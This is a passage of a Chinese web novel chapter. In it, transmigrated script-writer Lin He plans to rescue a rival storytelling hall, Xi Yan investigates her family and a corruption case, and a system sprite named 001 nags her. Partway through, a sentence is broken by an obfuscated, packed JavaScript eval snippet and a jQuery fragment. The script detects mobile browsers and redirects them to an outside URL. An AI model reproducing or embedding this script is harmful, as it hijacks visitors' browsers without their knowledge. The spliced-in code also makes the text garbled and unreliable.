没道理啊,林鹤合上了书本,写了这么多年她对自己写剧本的水平还是了解的,她递给小厮一杯水:“顺顺气,别着急,缓好了再说。”
小厮喝完,终于缓了过来:“林……林姑娘,贺三娘那边说,东街新开了家说书馆,抢去了馆里大部分生意,馆里生意经营不下去,要闭客歇业了。”
不是自己剧本的问题,那问题就不大了,林鹤松了口气。
“一个街道开多家店铺是常事啊,更何况贺三娘那家店开了那么多年了,照理来说更有顾客基础,怎么会开不下去呢?”林鹤疑惑道。
在现代雪王瑞幸喜茶等等奶茶店开满了一条路的情况比比皆是,没见哪家店开不下去的,怎么东街突然来个竞争同行,贺三娘的店就要倒闭了。
小厮回道:“就是因为那家话本馆,据说是挖走了几个说书先生,我过去的时候,那个新话本馆的余馆长还在三娘门口吆喝,说是要……三娘好看。”
看来是私人恩怨了,林鹤向来不是很喜欢这些耍阴招的同行,她开店的时候常常有人抄袭她的开店模式,甚至还有人造谣她的灵异本闹鬼,造谣她克扣员工工资。
这些人赚得了一时的钱,赚不了一世的,开店不诚心必定会遭反噬,想必这位余馆长的店也开不了多久,她问道:“那你给三娘看了我的话本了没?”
“看了是看了,不过这余馆长闹得这样凶,三娘心思也没在话本上,草草看完就搁置在台子上了。”小厮有些犹豫,但还是继续说道:“听说这余馆长走的时候还对着三娘放狠话。”
淮京最热的话本馆就是贺三娘家的,要想积攒声望值只能找她,可如今这余馆长一搅局,倒是让林鹤有些头疼,反正她是不可能去找这个余馆长合作的,这人靠着仇恨开店,做生意反而不会上心,去了就是毁自己的招牌。
“这样,”林鹤提笔写字,一边对着小厮吩咐道:“今明两天帮我去府里找一个样貌清秀、口才利索的小厮,等我手上这本新的话本写完了,到时候去三娘馆里说一场书,对着念就行。”
“这……可是……”小厮有点犹豫,他们虽奉命保护林姑娘,但本身还是属于郤府,怎能去话本馆当说书先生。
林鹤看出来他的犹豫,拍拍他的肩,“讲一次就行啦,放心,我保证就这一次,三娘的说书馆就能枯木逢春。”
也许是林鹤的神色太笃定,小厮竟愣愣地应下了,先是去跟郤晏禀报,请求调度府里适合条件的侍卫。
“事情就是这样的,二公子,您看怎么安排?”
郤晏背身站在桌边,正皱眉翻着手里的卷宗,随口问道:“她还说什么了?”
“她说……她说后续她的话本馆开了,事务繁忙,可能还有几次会用到您府上的人,不过她不会吃白食,到时候都会给与相应报酬的。”
“繁忙……”,郤晏摩挲着卷宗的纸张,竟不知如何形容他这位青梅。
她对林鹤的记忆不多,只记得小时候二人一起放过风筝,后来林鹤母亲与母亲因林父闹掰,再后来就是她母亲纪夫人去世,郤府与林府的关系逐渐变淡。
母亲惦念着纪素婉的骨血,常常偷偷派人给林鹤送些添补家用的衣裳物件,但从没见她穿过,那时她的痴傻之名已然在淮京传得沸沸扬扬,每次出去都引得旁人捂嘴嫌恶,林家人从没管过一次,想必这些贴补之物都被林府人据为己有了,母亲识破后,后来便不再让人送东西了。
几年前淮京赏花宴的时候他见过林鹤几眼,但当时她已完全认不出自己了,穿着破破烂烂的鹅黄衣裳傻兮兮地跟着她姐姐身边那一圈姊妹团笑,浑然不觉自己正是被嘲笑的对象。
“怎么这么笨,”郤晏小声道。
他与林鹤的交集仅仅止步于此,随着他步入大理寺,每天都忙得脚不沾地,更是没工夫去想这些事,谁曾想林府竟翻出了纪夫人与母亲早年写的誓书,说是要将他与林鹤许下婚事。
郤晏从来不在意这些情爱婚姻,他认为查案比爱情来得更重要。只是林鹤困于林府腌臜,母亲又心有不忍,他便应下了这门婚事,反正林府家大业大,他能养她一辈子。大不了等林鹤以后寻得真爱,他再与她和离也行。
谁曾想他这次外出查贪污案,竟循着嫌犯踪迹找到了林府,不想打草惊蛇,他偷偷顺着迹象追踪,居然发现了林府偷梁换柱的真相。
府内查找不到嫌犯线索后他又循着旧路折返,再次在路口遇到了昏倒的林鹤,浑身都是火焰熏燎的痕迹,穿得包浆的旧衣已被烧得破破烂烂。
郤晏自认不是什么慈悲心泛滥的善人,大理寺每天有上千个案子要断,倘若对每个人都心软,郤府怕是都要站满人了。
可林鹤毕竟是纪夫人的骨血,纪夫人与母亲情同骨肉,倘若让母亲知晓了林鹤的遭遇,必定要心疼得直把她当亲女儿宠。
可谁都没料想到,林鹤这鬼门关走一遭,竟变得好似换了一个人一般,不仅不复之前的唯唯诺诺,反而生动了起来,喜欢拉着一个人絮絮叨叨地讲自己的规划,讲自己的“雄心壮志”,什么所谓的剧本杀?
想到这里,郤晏没忍住笑着摇了摇头,淮京生意本就难做,大多都被权贵垄断,贺三娘就是典型的一个例子,像林鹤这种没权没钱,甚至可能还要当一段时间黑户、乳臭未干的丫头,怎么可能做得起来生意。
“让你查的事怎么样了?”郤晏问道。
“二公子,嫌犯的轨迹变幻莫测,最后一次看见他就是在林府后院的梅花斋,属下刚查出点眉目,后续还得等尤六尤十二去查。”
“行,继续去查,切忌打草惊蛇,林鹤那边派尤四去吧,让他继续藏好自己暗卫的身份,注意保护好她,别让她出府。”
“是,”尤二重重应下,随后便离开了。
尤二走后,郤晏提笔磨墨,想向母亲再额外了解一些林府的事情,昨夜尤十四只查得林府克扣林鹤衣食,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588801|205398||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
任她自生自灭,这跟他之前了解的一样,起初他只以为林弘景宠妾灭妻,不,灭外室,才会对纪夫人的女儿这般虐待。
可看着林府对林鹤斩尽杀绝的样子,竟像是有着深仇大恨,林府的事他了解不多,只知母亲早年因林弘景与纪夫人闹掰过,可母亲又对纪夫人的骨血如此关切,那必不可能是二人的交情出了问题,林府有问题。
如今这个节骨眼上,他又查出林府与腐败案有关,林弘景肯定藏着不可告人的秘密。
写完字条,他吹起口哨召来送信的鸽子,将字条塞进鸽子脚边。
他看着鸽子飞向郤府,莫名有一种山雨欲来风满楼的感觉。
但愿,此事能有个平安无事的了结。
——
近来无事,没有人催稿子,不需要从早到晚视察自己的剧本杀店,不用担心生存问题,林鹤是结结实实地睡了好大一个觉,直到日上三竿才起。
虽然001总是在她耳边嚎叫,但她从来没理会过,卖剧本杀开剧本杀店这个事不是一口气就能做成的,更何况贺三娘那边还出了问题,她只需要准备好两三个预热的本子,静待好消息就行。
别的不说,她对自己写本的能力是很有自信的,想当初岚市几百家剧本杀店,她硬是靠着自己独家的稿子和别致的经营模式硬生生杀出了一片天地,国内但凡是个稍微了解剧本杀的人,都知道她的店名。
更何况她如今还有系统加持,想要拿捏这帮没尝过好东西的古代人可谓轻轻松松,唉,真不知道这个001有什么好着急的。
“别吵了,别吵了,大清早的不嫌烦啊。”
“啊啊啊啊啊,你竟然嫌我烦,我到底是为了谁如此殚精竭虑,就剩十几天了你知道吗。再不写稿子你就要死了!还大清早,你再睡两个小时都可以去吃晚饭了!”
“啧,”林鹤嫌弃地揪起在她身边旋转飞舞的小东西,一把甩开,“别转了,晕死了。”
“你这个不求上进的人类,我当初真是瞎了眼才会选你当宿主,整天不是吃就是睡,我的四百年寿命的超长记录啊,我差一点儿就可以排行第二十名了,如今却要葬送在这个鸟不拉屎的地方呜呜呜~”
魔音贯耳实在难听,林鹤一把上前捏住了他的嘴:“停,stop,stop,再吵我明天就跳河让你403岁都活不到。”
001原本只是恐吓她,哪想宿主竟比她还狠心,他只得一边挣扎,一边用挥舞的小翅膀示意自己不会再吵了。
“唔唔唔呼,”001得了自由,不敢再吵,只敢绕着林鹤不停转圈圈。
“得了别急了,我干这行这么多年比你懂行情啊,”林鹤举起001直接对着对面,“放心,前几天写的两个预热的话本够他们研究好几天的了,喏,不信你看。”
001抬头看去,却见对面不知何时来了一拨人,尤四尤二算两个,旁边竟跟熙熙攘攘三四个姑娘,朝这边赶了过来。